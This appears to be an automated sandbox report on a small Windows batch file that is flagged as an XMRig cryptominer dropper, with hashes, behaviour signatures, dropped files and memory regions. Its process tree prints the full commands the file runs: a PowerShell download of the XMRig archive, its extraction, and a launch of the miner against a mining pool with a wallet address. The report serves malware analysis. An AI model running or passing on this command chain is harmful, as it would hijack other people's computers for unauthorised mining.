Analysis

  • max time kernel
    1792s
  • max time network
    1801s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    26/12/2023, 11:09

General

  • Target

    tesy - Copy (10).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (10).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2348
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4844
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4144
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:944

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    866d068a61c28815d6bf0e3fdd5744fd

    SHA1

    0ec2f10ae9757ce9c73f78b0f76163551fe2decf

    SHA256

    397a445b614111c225148fd78db8fb798cc446a4ce3f3e22ba0d87ca98f79966

    SHA512

    4089becf5376d51f45eb8c40f4dac86266a78d67364aa1a4674f9c67f75d425008592276acd3fc62f741b5f1c7fe015f8f76b4d367b630fdd1efc67f76744252

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3evsckxo.3xr.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    99KB

    MD5

    20c16b4435bf7b0c50c7092e017a6ea9

    SHA1

    21a8a34e4ec391a4715399060898a878d9c706f5

    SHA256

    44f1f41cb23ebe4eb547facd5c6477a47d0c2ee249c6ebacebb2e39f29200e08

    SHA512

    615e5dc424db5d9a3d4c592d51b0fbe83352b1b6f9250f02086f302546fbe33faff73db7e2ed47a3b49afb148d524910860b83f1cbdb639dc941fa866b7a5621

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    161KB

    MD5

    0ac628a43a22f5712c1038b907b3f3ed

    SHA1

    3deefc1ab13d728372cbd4bc351f2eda04fb71df

    SHA256

    5cf9a46169172146b2ea14d5340b3de1dcafe6140928c55ca56e8357145a56cb

    SHA512

    8b40799ed054e6e0597a1e76e8183e86375de4cf6fd2b09b19410d2c7e999628e910fd775fbca30070a266e6a45ad20e7077603acb55c1d93d810af5ba7d420f

  • memory/944-146-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-122-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-188-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-187-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-186-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-185-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-184-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-183-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-182-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-181-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-180-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-179-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-178-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-177-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-176-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-120-0x00000188F4790000-0x00000188F47B0000-memory.dmp

    Filesize

    128KB

  • memory/944-121-0x00000188F47D0000-0x00000188F4810000-memory.dmp

    Filesize

    256KB

  • memory/944-149-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-123-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-124-0x00000188F4810000-0x00000188F4830000-memory.dmp

    Filesize

    128KB

  • memory/944-125-0x00000188F4830000-0x00000188F4850000-memory.dmp

    Filesize

    128KB

  • memory/944-126-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-127-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-128-0x00000188F4810000-0x00000188F4830000-memory.dmp

    Filesize

    128KB

  • memory/944-129-0x00000188F4830000-0x00000188F4850000-memory.dmp

    Filesize

    128KB

  • memory/944-130-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-131-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-132-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-133-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-134-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-135-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-136-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-137-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-138-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-139-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-140-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-141-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-142-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-143-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-144-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-148-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-175-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-174-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-145-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-147-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-150-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-151-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-152-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-153-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-154-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-155-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-156-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-157-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-158-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-159-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-160-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-161-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-162-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-163-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-164-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-165-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-166-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-167-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-168-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-169-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-170-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-171-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-172-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/944-173-0x00007FF7CA480000-0x00007FF7CAF83000-memory.dmp

    Filesize

    11.0MB

  • memory/4144-67-0x0000015923530000-0x0000015923540000-memory.dmp

    Filesize

    64KB

  • memory/4144-42-0x0000015923530000-0x0000015923540000-memory.dmp

    Filesize

    64KB

  • memory/4144-40-0x00007FF8D6DD0000-0x00007FF8D77BC000-memory.dmp

    Filesize

    9.9MB

  • memory/4144-117-0x00007FF8D6DD0000-0x00007FF8D77BC000-memory.dmp

    Filesize

    9.9MB

  • memory/4144-93-0x00000159237E0000-0x00000159237EA000-memory.dmp

    Filesize

    40KB

  • memory/4144-41-0x0000015923530000-0x0000015923540000-memory.dmp

    Filesize

    64KB

  • memory/4144-80-0x0000015923B70000-0x0000015923B82000-memory.dmp

    Filesize

    72KB

  • memory/4844-27-0x000001417A920000-0x000001417A930000-memory.dmp

    Filesize

    64KB

  • memory/4844-6-0x00007FF8D6DD0000-0x00007FF8D77BC000-memory.dmp

    Filesize

    9.9MB

  • memory/4844-4-0x000001417A750000-0x000001417A772000-memory.dmp

    Filesize

    136KB

  • memory/4844-26-0x00007FF8D6DD0000-0x00007FF8D77BC000-memory.dmp

    Filesize

    9.9MB

  • memory/4844-25-0x000001417A920000-0x000001417A930000-memory.dmp

    Filesize

    64KB

  • memory/4844-10-0x000001417AAB0000-0x000001417AB26000-memory.dmp

    Filesize

    472KB

  • memory/4844-9-0x000001417A920000-0x000001417A930000-memory.dmp

    Filesize

    64KB

  • memory/4844-8-0x000001417A920000-0x000001417A930000-memory.dmp

    Filesize

    64KB

  • memory/4844-28-0x000001417A920000-0x000001417A930000-memory.dmp

    Filesize

    64KB

  • memory/4844-29-0x000001417A920000-0x000001417A930000-memory.dmp

    Filesize

    64KB

  • memory/4844-34-0x00007FF8D6DD0000-0x00007FF8D77BC000-memory.dmp

    Filesize

    9.9MB